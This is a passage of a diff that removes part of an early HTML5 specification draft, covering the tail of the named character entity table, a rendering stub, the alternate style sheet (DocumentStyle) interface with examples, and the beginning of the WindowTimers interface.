-
-     <td> U+00B0
-
-    <tr>
-     <td> <code title="">delta</code>
-
-     <td> U+03B4
-
-    <tr>
-     <td> <code title="">diams</code>
-
-     <td> U+2666
-
-    <tr>
-     <td> <code title="">divide</code>
-
-     <td> U+00F7
-
-    <tr>
-     <td> <code title="">eacute</code>
-
-     <td> U+00E9
-
-    <tr>
-     <td> <code title="">ecirc</code>
-
-     <td> U+00EA
-
-    <tr>
-     <td> <code title="">egrave</code>
-
-     <td> U+00E8
-
-    <tr>
-     <td> <code title="">empty</code>
-
-     <td> U+2205
-
-    <tr>
-     <td> <code title="">emsp</code>
-
-     <td> U+2003
-
-    <tr>
-     <td> <code title="">ensp</code>
-
-     <td> U+2002
-
-    <tr>
-     <td> <code title="">epsilon</code>
-
-     <td> U+03B5
-
-    <tr>
-     <td> <code title="">equiv</code>
-
-     <td> U+2261
-
-    <tr>
-     <td> <code title="">eta</code>
-
-     <td> U+03B7
-
-    <tr>
-     <td> <code title="">eth</code>
-
-     <td> U+00F0
-
-    <tr>
-     <td> <code title="">euml</code>
-
-     <td> U+00EB
-
-    <tr>
-     <td> <code title="">euro</code>
-
-     <td> U+20AC
-
-    <tr>
-     <td> <code title="">exist</code>
-
-     <td> U+2203
-
-    <tr>
-     <td> <code title="">fnof</code>
-
-     <td> U+0192
-
-    <tr>
-     <td> <code title="">forall</code>
-
-     <td> U+2200
-
-    <tr>
-     <td> <code title="">frac12</code>
-
-     <td> U+00BD
-
-    <tr>
-     <td> <code title="">frac14</code>
-
-     <td> U+00BC
-
-    <tr>
-     <td> <code title="">frac34</code>
-
-     <td> U+00BE
-
-    <tr>
-     <td> <code title="">frasl</code>
-
-     <td> U+2044
-
-    <tr>
-     <td> <code title="">gamma</code>
-
-     <td> U+03B3
-
-    <tr>
-     <td> <code title="">ge</code>
-
-     <td> U+2265
-
-    <tr>
-     <td> <code title="">gt</code>
-
-     <td> U+003E
-
-    <tr>
-     <td> <code title="">GT</code>
-
-     <td> U+003E
-
-    <tr>
-     <td> <code title="">hArr</code>
-
-     <td> U+21D4
-
-    <tr>
-     <td> <code title="">harr</code>
-
-     <td> U+2194
-
-    <tr>
-     <td> <code title="">hearts</code>
-
-     <td> U+2665
-
-    <tr>
-     <td> <code title="">hellip</code>
-
-     <td> U+2026
-
-    <tr>
-     <td> <code title="">iacute</code>
-
-     <td> U+00ED
-
-    <tr>
-     <td> <code title="">icirc</code>
-
-     <td> U+00EE
-
-    <tr>
-     <td> <code title="">iexcl</code>
-
-     <td> U+00A1
-
-    <tr>
-     <td> <code title="">igrave</code>
-
-     <td> U+00EC
-
-    <tr>
-     <td> <code title="">image</code>
-
-     <td> U+2111
-
-    <tr>
-     <td> <code title="">infin</code>
-
-     <td> U+221E
-
-    <tr>
-     <td> <code title="">int</code>
-
-     <td> U+222B
-
-    <tr>
-     <td> <code title="">iota</code>
-
-     <td> U+03B9
-
-    <tr>
-     <td> <code title="">iquest</code>
-
-     <td> U+00BF
-
-    <tr>
-     <td> <code title="">isin</code>
-
-     <td> U+2208
-
-    <tr>
-     <td> <code title="">iuml</code>
-
-     <td> U+00EF
-
-    <tr>
-     <td> <code title="">kappa</code>
-
-     <td> U+03BA
-
-    <tr>
-     <td> <code title="">lArr</code>
-
-     <td> U+21D0
-
-    <tr>
-     <td> <code title="">lambda</code>
-
-     <td> U+03BB
-
-    <tr>
-     <td> <code title="">lang</code>
-
-     <td> U+2329
-
-    <tr>
-     <td> <code title="">laquo</code>
-
-     <td> U+00AB
-
-    <tr>
-     <td> <code title="">larr</code>
-
-     <td> U+2190
-
-    <tr>
-     <td> <code title="">lceil</code>
-
-     <td> U+2308
-
-    <tr>
-     <td> <code title="">ldquo</code>
-
-     <td> U+201C
-
-    <tr>
-     <td> <code title="">le</code>
-
-     <td> U+2264
-
-    <tr>
-     <td> <code title="">lfloor</code>
-
-     <td> U+230A
-
-    <tr>
-     <td> <code title="">lowast</code>
-
-     <td> U+2217
-
-    <tr>
-     <td> <code title="">loz</code>
-
-     <td> U+25CA
-
-    <tr>
-     <td> <code title="">lrm</code>
-
-     <td> U+200E
-
-    <tr>
-     <td> <code title="">lsaquo</code>
-
-     <td> U+2039
-
-    <tr>
-     <td> <code title="">lsquo</code>
-
-     <td> U+2018
-
-    <tr>
-     <td> <code title="">lt</code>
-
-     <td> U+003C
-
-    <tr>
-     <td> <code title="">LT</code>
-
-     <td> U+003C
-
-    <tr>
-     <td> <code title="">macr</code>
-
-     <td> U+00AF
-
-    <tr>
-     <td> <code title="">mdash</code>
-
-     <td> U+2014
-
-    <tr>
-     <td> <code title="">micro</code>
-
-     <td> U+00B5
-
-    <tr>
-     <td> <code title="">middot</code>
-
-     <td> U+00B7
-
-    <tr>
-     <td> <code title="">minus</code>
-
-     <td> U+2212
-
-    <tr>
-     <td> <code title="">mu</code>
-
-     <td> U+03BC
-
-    <tr>
-     <td> <code title="">nabla</code>
-
-     <td> U+2207
-
-    <tr>
-     <td> <code title="">nbsp</code>
-
-     <td> U+00A0
-
-    <tr>
-     <td> <code title="">ndash</code>
-
-     <td> U+2013
-
-    <tr>
-     <td> <code title="">ne</code>
-
-     <td> U+2260
-
-    <tr>
-     <td> <code title="">ni</code>
-
-     <td> U+220B
-
-    <tr>
-     <td> <code title="">not</code>
-
-     <td> U+00AC
-
-    <tr>
-     <td> <code title="">notin</code>
-
-     <td> U+2209
-
-    <tr>
-     <td> <code title="">nsub</code>
-
-     <td> U+2284
-
-    <tr>
-     <td> <code title="">ntilde</code>
-
-     <td> U+00F1
-
-    <tr>
-     <td> <code title="">nu</code>
-
-     <td> U+03BD
-
-    <tr>
-     <td> <code title="">oacute</code>
-
-     <td> U+00F3
-
-    <tr>
-     <td> <code title="">ocirc</code>
-
-     <td> U+00F4
-
-    <tr>
-     <td> <code title="">oelig</code>
-
-     <td> U+0153
-
-    <tr>
-     <td> <code title="">ograve</code>
-
-     <td> U+00F2
-
-    <tr>
-     <td> <code title="">oline</code>
-
-     <td> U+203E
-
-    <tr>
-     <td> <code title="">omega</code>
-
-     <td> U+03C9
-
-    <tr>
-     <td> <code title="">omicron</code>
-
-     <td> U+03BF
-
-    <tr>
-     <td> <code title="">oplus</code>
-
-     <td> U+2295
-
-    <tr>
-     <td> <code title="">or</code>
-
-     <td> U+2228
-
-    <tr>
-     <td> <code title="">ordf</code>
-
-     <td> U+00AA
-
-    <tr>
-     <td> <code title="">ordm</code>
-
-     <td> U+00BA
-
-    <tr>
-     <td> <code title="">oslash</code>
-
-     <td> U+00F8
-
-    <tr>
-     <td> <code title="">otilde</code>
-
-     <td> U+00F5
-
-    <tr>
-     <td> <code title="">otimes</code>
-
-     <td> U+2297
-
-    <tr>
-     <td> <code title="">ouml</code>
-
-     <td> U+00F6
-
-    <tr>
-     <td> <code title="">para</code>
-
-     <td> U+00B6
-
-    <tr>
-     <td> <code title="">part</code>
-
-     <td> U+2202
-
-    <tr>
-     <td> <code title="">permil</code>
-
-     <td> U+2030
-
-    <tr>
-     <td> <code title="">perp</code>
-
-     <td> U+22A5
-
-    <tr>
-     <td> <code title="">phi</code>
-
-     <td> U+03C6
-
-    <tr>
-     <td> <code title="">pi</code>
-
-     <td> U+03C0
-
-    <tr>
-     <td> <code title="">piv</code>
-
-     <td> U+03D6
-
-    <tr>
-     <td> <code title="">plusmn</code>
-
-     <td> U+00B1
-
-    <tr>
-     <td> <code title="">pound</code>
-
-     <td> U+00A3
-
-    <tr>
-     <td> <code title="">prime</code>
-
-     <td> U+2032
-
-    <tr>
-     <td> <code title="">prod</code>
-
-     <td> U+220F
-
-    <tr>
-     <td> <code title="">prop</code>
-
-     <td> U+221D
-
-    <tr>
-     <td> <code title="">psi</code>
-
-     <td> U+03C8
-
-    <tr>
-     <td> <code title="">quot</code>
-
-     <td> U+0022
-
-    <tr>
-     <td> <code title="">QUOT</code>
-
-     <td> U+0022
-
-    <tr>
-     <td> <code title="">rArr</code>
-
-     <td> U+21D2
-
-    <tr>
-     <td> <code title="">radic</code>
-
-     <td> U+221A
-
-    <tr>
-     <td> <code title="">rang</code>
-
-     <td> U+232A
-
-    <tr>
-     <td> <code title="">raquo</code>
-
-     <td> U+00BB
-
-    <tr>
-     <td> <code title="">rarr</code>
-
-     <td> U+2192
-
-    <tr>
-     <td> <code title="">rceil</code>
-
-     <td> U+2309
-
-    <tr>
-     <td> <code title="">rdquo</code>
-
-     <td> U+201D
-
-    <tr>
-     <td> <code title="">real</code>
-
-     <td> U+211C
-
-    <tr>
-     <td> <code title="">reg</code>
-
-     <td> U+00AE
-
-    <tr>
-     <td> <code title="">REG</code>
-
-     <td> U+00AE
-
-    <tr>
-     <td> <code title="">rfloor</code>
-
-     <td> U+230B
-
-    <tr>
-     <td> <code title="">rho</code>
-
-     <td> U+03C1
-
-    <tr>
-     <td> <code title="">rlm</code>
-
-     <td> U+200F
-
-    <tr>
-     <td> <code title="">rsaquo</code>
-
-     <td> U+203A
-
-    <tr>
-     <td> <code title="">rsquo</code>
-
-     <td> U+2019
-
-    <tr>
-     <td> <code title="">sbquo</code>
-
-     <td> U+201A
-
-    <tr>
-     <td> <code title="">scaron</code>
-
-     <td> U+0161
-
-    <tr>
-     <td> <code title="">sdot</code>
-
-     <td> U+22C5
-
-    <tr>
-     <td> <code title="">sect</code>
-
-     <td> U+00A7
-
-    <tr>
-     <td> <code title="">shy</code>
-
-     <td> U+00AD
-
-    <tr>
-     <td> <code title="">sigma</code>
-
-     <td> U+03C3
-
-    <tr>
-     <td> <code title="">sigmaf</code>
-
-     <td> U+03C2
-
-    <tr>
-     <td> <code title="">sim</code>
-
-     <td> U+223C
-
-    <tr>
-     <td> <code title="">spades</code>
-
-     <td> U+2660
-
-    <tr>
-     <td> <code title="">sub</code>
-
-     <td> U+2282
-
-    <tr>
-     <td> <code title="">sube</code>
-
-     <td> U+2286
-
-    <tr>
-     <td> <code title="">sum</code>
-
-     <td> U+2211
-
-    <tr>
-     <td> <code title="">sup</code>
-
-     <td> U+2283
-
-    <tr>
-     <td> <code title="">sup1</code>
-
-     <td> U+00B9
-
-    <tr>
-     <td> <code title="">sup2</code>
-
-     <td> U+00B2
-
-    <tr>
-     <td> <code title="">sup3</code>
-
-     <td> U+00B3
-
-    <tr>
-     <td> <code title="">supe</code>
-
-     <td> U+2287
-
-    <tr>
-     <td> <code title="">szlig</code>
-
-     <td> U+00DF
-
-    <tr>
-     <td> <code title="">tau</code>
-
-     <td> U+03C4
-
-    <tr>
-     <td> <code title="">there4</code>
-
-     <td> U+2234
-
-    <tr>
-     <td> <code title="">theta</code>
-
-     <td> U+03B8
-
-    <tr>
-     <td> <code title="">thetasym</code>
-
-     <td> U+03D1
-
-    <tr>
-     <td> <code title="">thinsp</code>
-
-     <td> U+2009
-
-    <tr>
-     <td> <code title="">thorn</code>
-
-     <td> U+00FE
-
-    <tr>
-     <td> <code title="">tilde</code>
-
-     <td> U+02DC
-
-    <tr>
-     <td> <code title="">times</code>
-
-     <td> U+00D7
-
-    <tr>
-     <td> <code title="">trade</code>
-
-     <td> U+2122
-
-    <tr>
-     <td> <code title="">uArr</code>
-
-     <td> U+21D1
-
-    <tr>
-     <td> <code title="">uacute</code>
-
-     <td> U+00FA
-
-    <tr>
-     <td> <code title="">uarr</code>
-
-     <td> U+2191
-
-    <tr>
-     <td> <code title="">ucirc</code>
-
-     <td> U+00FB
-
-    <tr>
-     <td> <code title="">ugrave</code>
-
-     <td> U+00F9
-
-    <tr>
-     <td> <code title="">uml</code>
-
-     <td> U+00A8
-
-    <tr>
-     <td> <code title="">upsih</code>
-
-     <td> U+03D2
-
-    <tr>
-     <td> <code title="">upsilon</code>
-
-     <td> U+03C5
-
-    <tr>
-     <td> <code title="">uuml</code>
-
-     <td> U+00FC
-
-    <tr>
-     <td> <code title="">weierp</code>
-
-     <td> U+2118
-
-    <tr>
-     <td> <code title="">xi</code>
-
-     <td> U+03BE
-
-    <tr>
-     <td> <code title="">yacute</code>
-
-     <td> U+00FD
-
-    <tr>
-     <td> <code title="">yen</code>
-
-     <td> U+00A5
-
-    <tr>
-     <td> <code title="">yuml</code>
-
-     <td> U+00FF
-
-    <tr>
-     <td> <code title="">zeta</code>
-
-     <td> U+03B6
-
-    <tr>
-     <td> <code title="">zwj</code>
-
-     <td> U+200D
-
-    <tr>
-     <td> <code title="">zwnj</code>
-
-     <td> U+200C
-  </table>
-
-  <h2 id=rendering><span class=secno>9. </span>Rendering</h2>
-
-  <p class=big-issue>This section will probably include details on how to
-   render DATAGRID, drag-and-drop, etc, in a visual medium, in concert with
-   CSS. Terms that need to be defined include: <dfn id=sizing>sizing of
-   embedded content</dfn>
-
-  <p>CSS UAs in visual media must, when scrolling a page to a fragment
-   identifier, align the top of the viewport with the target element's top
-   border edge.</p>
-  <!-- XXX horiz pos given bidi, and not
-  scrolling when not required to? -->
-  <!-- Elements that have been dropped: ACRONYM APPLET B BASEFONT BLINK
-BIG CENTER DIR DIV FONT FRAME FRAMESET I ISINDEX MARQUEE NOEMBED
-NOFRAMES S SPACER STRIKE TT U -->
-  <!-- XXX bits and pieces that were removed from the semantic parts:
-
-  <p>In CSS-aware user agents, the default presentation of this
-  element should be achieved by including the following rules, or
-  their equivalent, in the UA's user agent style sheet:</p>
-
-  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);
-xh|section { display: block; margin: 1em 0; }</pre>
-
-  <h4>Section headers</h4>
-
-  <p>For <code>h1</code> elements, CSS-aware visual user agents should
-  derive the size of the header from the level of <code>section</code>
-  nesting. This effect should be achieved by including the following
-  rules, or their equivalent, in the UA's user agent style sheet:</p>
-
-  <pre>@namespace xh url(http://www.w3.org/1999/xhtml);
-xh|section xh|h1 { /* same styles as h2 */ }
-xh|section xh|section xh|h1 { /* same styles as h4 */ }
-xh|section xh|section xh|section xh|h1 { /* same styles as h4 */ }
-xh|section xh|section xh|section xh|section xh|h1 { /* same styles as h5 */ }
-xh|section xh|section xh|section xh|section xh|section xh|h1 { /* same styles as h6 */ }</pre>
-
-  <p>Authors should use <code>h1</code> elements to denote headers in
-  sections. Authors may instead use <code>h2</code> ...
-  <code>h6</code> elements, for backwards compatibility with user
-  agents that do not support <code>section</code> elements.</p>
-
--->
-
-  <h3 id=rendering0><span class=secno>9.1. </span>Rendering and the DOM</h3>
-
-  <p class=big-issue>This section is wrong. mediaMode will end up on Window,
-   I think. All views implement Window.
-
-  <p>Any object implement the <code>AbstractView</code> interface must also
-   implement the <code><a
-   href="#mediamodeabstractview">MediaModeAbstractView</a></code> interface.
-
-  <pre
-   class=idl>interface <dfn id=mediamodeabstractview>MediaModeAbstractView</dfn> {
-  readonly attribute DOMString <a href="#mediamode">mediaMode</a>;
-};</pre>
-
-  <p>The <dfn id=mediamode><code>mediaMode</code></dfn> attribute on objects
-   implementing the <code><a
-   href="#mediamodeabstractview">MediaModeAbstractView</a></code> interface
-   must return the string that represents the canvas' current rendering mode
-   (<code>screen</code>, <code>print</code>, etc). This is a lowercase
-   string, as <a
-   href="http://www.w3.org/TR/CSS21/media.html#media-types">defined by the
-   CSS specification</a>. <a href="#refsCSS21">[CSS21]</a>
-
-  <p>Some user agents may support multiple media, in which case there will
-   exist multiple objects implementing the <code>AbstractView</code>
-   interface. Only the default view implements the <code>Window</code>
-   interface. The other views can be reached using the <code>view</code>
-   attribute of the <code>UIEvent</code> inteface, during event propagation.
-   There is no way currently to enumerate all the views.</p>
-  <!-- XXX examples! -->
-
-  <h2 id=no><span class=secno>10. </span>Things that you can't do with this
-   specification because they are better handled using other technologies
-   that are further described herein</h2>
-
-  <p><em>This section is non-normative.</em>
-
-  <p>There are certain features that are not handled by this specification
-   because a client side markup language is not the right level for them, or
-   because the features exist in other languages that can be integrated into
-   this one. This section covers some of the more common requests.
-
-  <h3 id=localisation><span class=secno>10.1. </span>Localisation</h3>
-
-  <p>If you wish to create localised versions of an HTML application, the
-   best solution is to preprocess the files on the server, and then use HTTP
-   content negotation to serve the appropriate language.</p>
-  <!-- <p>XXX example here</p> -->
-
-  <h3 id=declarative><span class=secno>10.2. </span>Declarative 2D vector
-   graphics and animation</h3>
-
-  <p>Embedding vector graphics into XHTML documents is the domain of SVG.</p>
-  <!-- <p>XXX example here</p> -->
-
-  <h3 id=declarative0><span class=secno>10.3. </span>Declarative 3D scenes</h3>
-
-  <p>Embedding 3D imagery into XHTML documents is the domain of X3D, or
-   technologies based on X3D that are namespace-aware.</p>
-  <!-- <p>XXX example here</p> -->
-
-  <h3 id=alternate-style-sheets><span class=secno>10.4. </span>Alternate
-   style sheets: the <code><a href="#documentstyle">DocumentStyle</a></code>
-   interface</h3>
-
-  <p>This section describes an extension to the <code><a
-   href="#documentstyle">DocumentStyle</a></code> interface introduced in
-   DOM2 Style. <a href="#refsDOM2STYLE">[DOM2STYLE]</a>
-
-  <p>It is expected that this section will be moved to a W3C CSS working
-   group or WebAPI working group specification in the next few months.
-
-  <pre
-   class=idl>// Introduced in DOM Level 2: <a href="#refsDOM2STYLE">[DOM2STYLE]</a>
-interface <dfn id=documentstyle>DocumentStyle</dfn> {
-  readonly attribute StyleSheetList <span>styleSheets</span>;
-
-  // New in this specification:
-           attribute DOMString <a href="#selectedstylesheetset">selectedStyleSheetSet</a>;
-  readonly attribute DOMString <a href="#laststylesheetset">lastStyleSheetSet</a>;
-  readonly attribute DOMString <a href="#preferredstylesheetset">preferredStyleSheetSet</a>;
-  readonly attribute DOMStringList <a href="#stylesheetsets">styleSheetSets</a>;
-  void <a href="#enablestylesheetsforset">enableStyleSheetsForSet</a>(in DOMString name);
-};</pre>
-
-  <p>Any object implementing the <code><a
-   href="#htmldocument">HTMLDocument</a></code> interface must also implement
-   the <code><a href="#documentstyle">DocumentStyle</a></code> interface.
-
-  <p>For this interface, the <code>DOMString</code> values "null" and "the
-   empty string" are distinct, and must not be considered equivalent.
-
-  <p>A style sheet is said to <dfn id=have-a>have a title</dfn> if the
-   <code><a href="#title3">title</a></code> attribute or pseudo-attribute of
-   the DOM node that introduced the style sheet is present and has a
-   non-empty value (i.e. if the <code><a href="#title3">title</a></code>
-   attribute of the <code>StyleSheet</code> object returned by the
-   <code>sheet</code> attribute of the <code>LinkStyle</code> interface of
-   that DOM node is neither null nor the empty string).
-
-  <p>The new members are defined as follows:
-
-  <dl>
-   <dt><dfn id=selectedstylesheetset><code>selectedStyleSheetSet</code></dfn>
-    of type <code>DOMString</code>
-
-   <dd>
-    <p>This attribute indicates which style sheet set (<a
-     href="#refsHTML4">[HTML4]</a>) is in use. This attribute is <a
-     href="#live">live</a>; changing the disabled attribute on style sheets
-     directly will change the value of this attribute.</p>
-
-    <p>If all the sheets that are enabled and <a href="#have-a">have a
-     title</a> have the <em>same</em> title (by
-     <span>case-sensitive</span><!--XXX xref --> comparisons) then the value
-     of this attribute must be exactly equal to the title of the first
-     enabled style sheet with a title in the <code>styleSheets</code> list.
-     Otherwise, if style sheets from different sets are enabled, then the
-     return value must be null (there is no way to determine what the
-     currently selected style sheet set is in those conditions). Otherwise,
-     either all style sheets that <a href="#have-a">have a title</a> are
-     disabled, or there are no alternate style sheets, and <code><a
-     href="#selectedstylesheetset">selectedStyleSheetSet</a></code> must
-     return the empty string.</p>
-
-    <p>Setting this attribute to the null value must have no effect.</p>
-
-    <p>Setting this attribute to a non-null value must call <code><a
-     href="#enablestylesheetsforset">enableStyleSheetsForSet()</a></code>
-     with that value as the function's argument, and set <code><a
-     href="#laststylesheetset">lastStyleSheetSet</a></code> to that value.</p>
-
-    <p>From the DOM's perspective, all views have the same <code><a
-     href="#selectedstylesheetset">selectedStyleSheetSet</a></code>. If a UA
-     supports multiple views with different selected alternate style sheets,
-     then this attribute (and the <code>StyleSheet</code> interface's
-     <code>disabled</code> attribute) must return and set the value for the
-     default view.</p>
-
-   <dt><dfn id=laststylesheetset><code>lastStyleSheetSet</code></dfn> of type
-    <code>DOMString</code>, readonly
-
-   <dd>
-    <p>This property must initially have the value null. Its value changes
-     when the <code><a
-     href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute
-     is set.</p>
-
-   <dt><dfn
-    id=preferredstylesheetset><code>preferredStyleSheetSet</code></dfn> of
-    type <code>DOMString</code>, readonly
-
-   <dd>
-    <p>This attribute must return the preferred style sheet set as set by the
-     author. It is determined from the order of style sheet declarations and
-     the <code>Default-Style</code> HTTP headers, as eventually defined
-     elsewhere in this specification<!-- XXX xref -->. If there is no
-     preferred style sheet set, this attribute must return the empty string.
-     The case of this attribute must exactly match the case given by the
-     author where the preferred style sheet is specified or implied. This
-     attribute must never return null.</p>
-
-   <dt><dfn id=stylesheetsets><code>styleSheetSets</code></dfn> of type
-    <code>DOMStringList</code>, readonly
-
-   <dd>
-    <p>This must return the <a href="#live">live</a> list of the currently
-     available style sheet sets. This list is constructed by enumerating all
-     the style sheets for this document available to the implementation, in
-     the order they are listed in the <code>styleSheets</code> attribute,
-     adding the title of each style sheet with a title to the list, avoiding
-     duplicates by dropping titles that match
-     (<span>case-sensitively</span><!-- XXX xref -->) titles that have
-     already been added to the list.</p>
-
-   <dt><dfn id=enablestylesheetsforset
-    title="enableStyleSheetsForSet()"><code>enableStyleSheetsForSet(<var
-    title="">name</var>)</code></dfn>, method
-
-   <dd>
-    <p>Calling this method must change the <code>disabled</code> attribute on
-     each <code>StyleSheet</code> object with a title attribute with a length
-     greater than 0 in the <code>styleSheets</code> attribute, so that all
-     those whose title matches the <var title="">name</var> argument are
-     enabled, and all others are disabled. Title matches must be
-     <span>case-sensitive</span><!-- XXX xref -->. Calling this method with
-     the empty string disables all alternate and preferred style sheets (but
-     does not change the state of persistent style sheets, that is those with
-     no title attribute).</p>
-
-    <p>Calling this method with a null value must have no effect.</p>
-
-    <p>Style sheets that do not <a href="#have-a">have a title</a> are never
-     affected by this method. This method does not change the values of the
-     <code><a href="#laststylesheetset">lastStyleSheetSet</a></code> or
-     <code><a
-     href="#preferredstylesheetset">preferredStyleSheetSet</a></code>
-     attributes.</p>
-  </dl>
-
-  <h4 id=dynamically><span class=secno>10.4.1. </span>Dynamically adding new
-   style sheets</h4>
-
-  <p>If new style sheets with titles are added to the document, the UA must
-   decide whether or not the style sheets should be initially enabled or not.
-   How this happens depends on the exact state of the document at the time
-   the style sheet is added, as follows.
-
-  <h5 id=adding><span class=secno>10.4.1.1. </span>Adding style sheets</h5>
-
-  <p>First, if the style sheet is a preferred style sheet (it has a title,
-   but is not marked as alternate), and there is no current preferred style
-   sheet (the <code><a
-   href="#preferredstylesheetset">preferredStyleSheetSet</a></code> attribute
-   is equal to the empty string) then the <code><a
-   href="#preferredstylesheetset">preferredStyleSheetSet</a></code> attribute
-   is set to the exact value of this style sheet's title. (This changes the
-   preferred style sheet set, which causes further changes AMPERSANDmdash; see
-   below.)
-
-  <p>Then, for all sheets, if any of the following is true, then the style
-   sheet must be enabled:
-
-  <ul>
-   <li> The style sheet has an empty title.
-
-   <li> The <code><a href="#laststylesheetset">lastStyleSheetSet</a></code>
-    is null, and the style sheet's title matches (by
-    <span>case-sensitive</span><!-- XXX
-     xref --> match) the value of the
-    <code><a href="#preferredstylesheetset">preferredStyleSheetSet</a></code>
-    attribute.
-
-   <li> The style sheet's title matches (by
-    <span>case-sensitive</span><!-- XXX xref --> match) the value of the
-    <code><a href="#laststylesheetset">lastStyleSheetSet</a></code>
-    attribute.
-  </ul>
-
-  <p>Otherwise, the style sheet must be disabled.
-
-  <h5 id=changing><span class=secno>10.4.1.2. </span>Changing the preferred
-   style sheet set</h5>
-
-  <p>The first time the preferred style sheet set is set, which is either
-   before any alternate style sheets are seen (e.g. using a "Default-Style"
-   HTTP header), or is the first time a titled, non-alternate style sheet is
-   seen (in the absence of information to the contrary, the first titled
-   non-alternate sheet sets the name of the preferred set), the <code><a
-   href="#preferredstylesheetset">preferredStyleSheetSet</a></code>
-   attribute's value must be set to the name of that preferred style sheet
-   set. This does not change the <code><a
-   href="#laststylesheetset">lastStyleSheetSet</a></code> attribute.
-
-  <p>If the UA has the preferred style sheet set changed, for example if it
-   receives a "Default-Style:" HTTP header after it receives HTTP "Link:"
-   headers implying another preferred style sheet, then the <code><a
-   href="#preferredstylesheetset">preferredStyleSheetSet</a></code>
-   attribute's value must be changed appropriately, and, if the <code><a
-   href="#laststylesheetset">lastStyleSheetSet</a></code> is null, the
-   <code><a
-   href="#enablestylesheetsforset">enableStyleSheetsForSet()</a></code>
-   method must be called with the new <code><a
-   href="#preferredstylesheetset">preferredStyleSheetSet</a></code> value.
-   (The <code><a href="#laststylesheetset">lastStyleSheetSet</a></code>
-   attribute is, again, not changed.)
-
-  <h5 id=examples><span class=secno>10.4.1.3. </span> Examples</h5>
-
-  <div class=example>
-   <p>Thus, in the following HTML snippet:</p>
-
-   <pre>AMPERSANDlt;link rel="alternate stylesheet" title="foo" href="a"AMPERSANDgt;
-AMPERSANDlt;link rel="alternate stylesheet" title="bar" href="b"AMPERSANDgt;
-AMPERSANDlt;scriptAMPERSANDgt;
-  document.selectedStyleSheetSet = 'foo';
-  document.styleSheets[1].disabled = false;
-AMPERSANDlt;/scriptAMPERSANDgt;
-AMPERSANDlt;link rel="alternate stylesheet" title="foo" href="c"AMPERSANDgt;
-AMPERSANDlt;link rel="alternate stylesheet" title="bar" href="d"AMPERSANDgt;</pre>
-
-   <p>...the style sheets that end up enabled are style sheets "a", "b", and
-    "c", the <code><a
-    href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute
-    would return null, <code><a
-    href="#laststylesheetset">lastStyleSheetSet</a></code> would return
-    "foo", and <code><a
-    href="#preferredstylesheetset">preferredStyleSheetSet</a></code> would
-    return "".</p>
-
-   <p> Similarly, in the following HTML snippet:</p>
-
-   <pre>AMPERSANDlt;link rel="alternate stylesheet" title="foo" href="a"AMPERSANDgt;
-AMPERSANDlt;link rel="alternate stylesheet" title="bar" href="b"AMPERSANDgt;
-AMPERSANDlt;scriptAMPERSANDgt;
-  var before = document.preferredStyleSheetSet;
-  document.styleSheets[1].disabled = false;
-AMPERSANDlt;/scriptAMPERSANDgt;
-AMPERSANDlt;link rel="stylesheet" title="foo" href="c"AMPERSANDgt;
-AMPERSANDlt;link rel="alternate stylesheet" title="bar" href="d"AMPERSANDgt;
-AMPERSANDlt;scriptAMPERSANDgt;
-  var after = document.preferredStyleSheetSet;
-AMPERSANDlt;/scriptAMPERSANDgt;</pre>
-
-   <p>...the "before" variable will be equal to the empty string, the "after"
-    variable will be equal to "foo", and style sheets "a" and "c" will be
-    enabled. This is the case even though the first script block sets style
-    sheet "b" to be enabled, because upon parsing the following
-    <code>AMPERSANDlt;linkAMPERSANDgt;</code> element, the <code><a
-    href="#preferredstylesheetset">preferredStyleSheetSet</a></code> is set
-    and the <code><a
-    href="#enablestylesheetsforset">enableStyleSheetsForSet()</a></code>
-    method is called (since <code><a
-    href="#selectedstylesheetset">selectedStyleSheetSet</a></code> was never
-    set explicitly, leaving <code><a
-    href="#laststylesheetset">lastStyleSheetSet</a></code> at null
-    throughout), which changes which style sheets are enabled and which are
-    not.</p>
-  </div>
-
-  <h4 id=interaction0><span class=secno>10.4.2. </span>Interaction with the
-   User Interface</h4>
-
-  <p>The user interface of Web browsers that support style sheets should list
-   the style sheet titles given in the <code><a
-   href="#stylesheetsets">styleSheetSets</a></code> list, showing the
-   <code><a href="#selectedstylesheetset">selectedStyleSheetSet</a></code> as
-   the selected style sheet set, leaving none selected if it is null or the
-   empty string, and selecting an extra option "Basic Page Style" (or
-   similar) if it is the empty string and the <code><a
-   href="#preferredstylesheetset">preferredStyleSheetSet</a></code> is the
-   empty string as well.
-
-  <p>Selecting a style sheet from this list should set the <code><a
-   href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute.
-   This (by definition) affects the <code><a
-   href="#laststylesheetset">lastStyleSheetSet</a></code> attribute.
-
-  <h5 id=persisting><span class=secno>10.4.2.1. </span>Persisting the
-   selected style sheet set</h5>
-
-  <p>If UAs persist the selected style sheet set, they should use the value
-   of the <code><a
-   href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute,
-   or if that is null, the <code><a
-   href="#laststylesheetset">lastStyleSheetSet</a></code> attribute, when
-   leaving the page (or at some other time) to determine the set name to
-   store. If that is null then the style sheet set should not be persisted.
-
-  <p>When re-setting the style sheet set to the persisted value (which can
-   happen at any time, typically at the first time the style sheets are
-   needed for styling the document, after the <code>AMPERSANDlt;headAMPERSANDgt;</code> of
-   the document has been parsed, after any scripts that are not dependent on
-   computed style have executed), the style sheet set should be set by
-   setting the <code><a
-   href="#selectedstylesheetset">selectedStyleSheetSet</a></code> attribute
-   as if the user had selected the set manually.
-
-  <p class=note>This specification does not give any suggestions on how UAs
-   should decide to persist the style sheet set or whether or how to persist
-   the selected set across pages.
-
-  <h4 id=future><span class=secno>10.4.3. </span>Future compatibility</h4>
-
-  <p>Future versions of CSS may introduce ways of having alternate style
-   sheets declared at levels lower than the top level, i.e. embedded within
-   other style sheets. Implementations of this specification that also
-   support this proposed declaration of alternate style sheets are expected
-   to perform depth-first traversals of the <code>styleSheets</code> list,
-   not simply enumerations of the <code>styleSheets</code> list that only
-   contains the top level.
-
-  <h3 id=timers><span class=secno>10.5. </span>Timers</h3>
-
-  <p>This section is expected to be moved to the Window Object specification
-   in due course.
-
-  <pre class=idl>
-interface <dfn id=windowtimers>WindowTimers</dfn> {
-  // timers
-  long <a href="#settimeout">setTimeout</a>(in <a href="#timeouthandler">TimeoutHandler</a> handler, in long timeout);
-  long <a href="#settimeout">setTimeout</a>(in <a href="#timeouthandler">TimeoutHandler</a> handler, in long timeout, <var title="">arguments...</var>);
-  long <a href="#settimeout">setTimeout</a>(in DOMString code, in long timeout);
-  long <a href="#settimeout">setTimeout</a>(in DOMString code, in long timeout, in DOMString language);
